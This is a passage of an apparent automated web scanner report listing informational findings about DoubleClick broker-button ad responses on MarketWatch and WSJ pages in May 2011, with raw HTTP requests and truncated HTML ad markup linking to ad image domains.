Cache-Control: private, x-gzip-ok=""
Content-Length: 1504

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
Bu%3D%5E%5E%3B%7Eokv%3D%3Bpos%3D4%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D13%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685466;63577775;b;pc=[TPAS_ID]" target="_new"><IMG SRC="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_go_nooffer_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.31. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/markets_futuremovers

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=6;u=%5e%5e;biz=1053;sz=288x40;tile=15;ord=1848543519?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/3170178/LightSpeed_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=6;u=%5e%5e;biz=1053;sz=288x40;tile=15;ord=1848543519? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:14 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1746

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
239902029;62737601;h?http://www.lightspeed.com/?page_id=10294&utm_source=WSJ&utm_medium=WSJ_MarketWatch_Partner_Center_Button_170x40&utm_content=Q22011_FreeDemo_170x40&utm_campaign=2011" target="_new"><IMG SRC="http://s0.2mdn.net/3170178/LightSpeed_170x40.gif
" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.32. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/markets_futuremovers

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=1;u=%5e%5e;biz=1053;sz=288x40;tile=10;ord=1848543519?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=1;u=%5e%5e;biz=1053;sz=288x40;tile=10;ord=1848543519? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:28:29 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1418

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
/41853602/1%3Bu%3D%5E%5E%3B%7Eokv%3D%3Bpos%3D1%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D10%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254814;58787588;z" target="_new"><IMG SRC="http://s0.2mdn.net/2457383/110062_01_GoPro_Tools_EII_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.33. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/markets_futuremovers

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=2;u=%5e%5e;biz=1053;sz=288x40;tile=11;ord=1848543519?

The response contains the following links to other domains:

http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697
http://i.mktw.net/1.gif

Request

GET /adi/brokerbuttons.marketwatch.com/markets_futuremovers;pos=2;u=%5e%5e;biz=1053;sz=288x40;tile=11;ord=1848543519? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:14 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1478

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
B%7Eokv%3D%3Bpos%3D2%3Bu%3D%5E%5E%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D11%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/" target="_new"><IMG SRC="http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3140697" WIDTH="170" HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...

19.34. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=6;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=15;ord=1531063701?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/3170178/LightSpeed_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=6;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=15;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:54 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1782

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
239902029;62737601;h?http://www.lightspeed.com/?page_id=10294&utm_source=WSJ&utm_medium=WSJ_MarketWatch_Partner_Center_Button_170x40&utm_content=Q22011_FreeDemo_170x40&utm_campaign=2011" target="_new"><IMG SRC="http://s0.2mdn.net/3170178/LightSpeed_170x40.gif
" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.35. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=4;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=13;ord=1531063701?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=4;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=13;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1542

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
Eokv%3D%3Bpos%3D4%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D13%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685479;63577776;g;pc=[TPAS_ID]" target="_new"><IMG SRC="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.36. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1531063701?

The response contains the following links to other domains:

http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619
http://i.mktw.net/1.gif

Request

GET /adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:14:52 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1514

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
%3D2%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D11%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/" target="_new"><IMG SRC="http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3178619" WIDTH="170" HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...

19.37. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=1;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=10;ord=1531063701?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/mutualfunds_jaffe;pos=1;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=10;ord=1531063701? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:31:13 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1455

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
%5E%5ElA%3B%7Eokv%3D%3Bpos%3D1%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D10%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240254646;58787588;c" target="_new"><IMG SRC="http://s0.2mdn.net/2457383/110062_01_GoPro_Trades_EII_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.38. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/personalfinance_story

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=4;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=13;ord=1015591673?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=4;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=13;ord=1015591673? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:33:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1542

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
Eokv%3D%3Bpos%3D4%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D13%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;240685479;63577776;g;pc=[TPAS_ID]" target="_new"><IMG SRC="http://s0.2mdn.net/1363789/tda_activetrader_technology_technology_tradearchitect_open_nooffer_170x40.gif" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.39. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/personalfinance_story

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=6;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=15;ord=1015591673?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/3170178/LightSpeed_170x40.gif

Request

GET /adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=6;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=15;ord=1015591673? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:22 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1782

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
239902029;62737601;h?http://www.lightspeed.com/?page_id=10294&utm_source=WSJ&utm_medium=WSJ_MarketWatch_Partner_Center_Button_170x40&utm_content=Q22011_FreeDemo_170x40&utm_campaign=2011" target="_new"><IMG SRC="http://s0.2mdn.net/3170178/LightSpeed_170x40.gif
" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.40. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/personalfinance_story

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=1;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=10;ord=1015591673?

The response contains the following links to other domains:

http://s0.2mdn.net/1183784/1x1.GIF
http://s0.2mdn.net/2457383/100160_05_Pricing_EII_None_170x40agC.gif

Request

GET /adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=1;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=10;ord=1015591673? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1459

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
%5E%5ElA%3B%7Eokv%3D%3Bpos%3D1%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D10%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.doubleclick.net/clk;235504933;58787588;d" target="_new"><IMG SRC="http://s0.2mdn.net/2457383/100160_05_Pricing_EII_None_170x40agC.gif
" WIDTH="170"
HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://s0.2mdn.net/1183784/1x1.GIF"></td>
...[SNIP]...

19.41. http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.marketwatch.com/personalfinance_story

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1015591673?

The response contains the following links to other domains:

http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447
http://i.mktw.net/1.gif

Request

GET /adi/brokerbuttons.marketwatch.com/personalfinance_story;pos=2;s=8_10001;u=%5e%5elA;biz=1053;sz=288x40;tile=11;ord=1015591673? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:16:20 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 1514

<head><title>Click here to find out more!</title><base href="http://ad.doubleclick.net"></head><body STYLE="background-color:transparent"><table border="0" cellpadding="0" cellspacing="0" style="borde
...[SNIP]...
%3D2%3Bs%3D8_10001%3Bu%3D%5E%5ElA%3Bbiz%3D1053%3Bsz%3D288x40%3Btile%3D11%3B%7Eaopt%3D2/1/ff/1%3B%7Esscs%3D%3fhttp://ad.wsod.com/click/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/" target="_new"><IMG SRC="http://ad.wsod.com/embed/8bec9b10877d5d7fd7c0fb6e6a631357/1364.0.img.170x40/3266447" WIDTH="170" HEIGHT="40" BORDER="0"></a>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...
<td width="5"><img width="5" src="http://i.mktw.net/1.gif"></td>
...[SNIP]...

19.42. http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/brokerbuttons.wsj.com/rej_front

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adi/brokerbuttons.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=6;tile=9;sz=170x67;ord=5003500350035003;

The response contains the following link to another domain:

http://s0.2mdn.net/1146650/wsj_small_biz170x40_2.gif

Request

GET /adi/brokerbuttons.wsj.com/rej_front;!category=;msrc=WSJ_topnav_realestate_main;s=8_10001;mc=b2pfreezone;pos=6;tile=9;sz=170x67;ord=5003500350035003; HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=ca42d81370000b3||t=1305367759|et=730|cs=b-celz5j

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sat, 14 May 2011 10:24:11 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 830

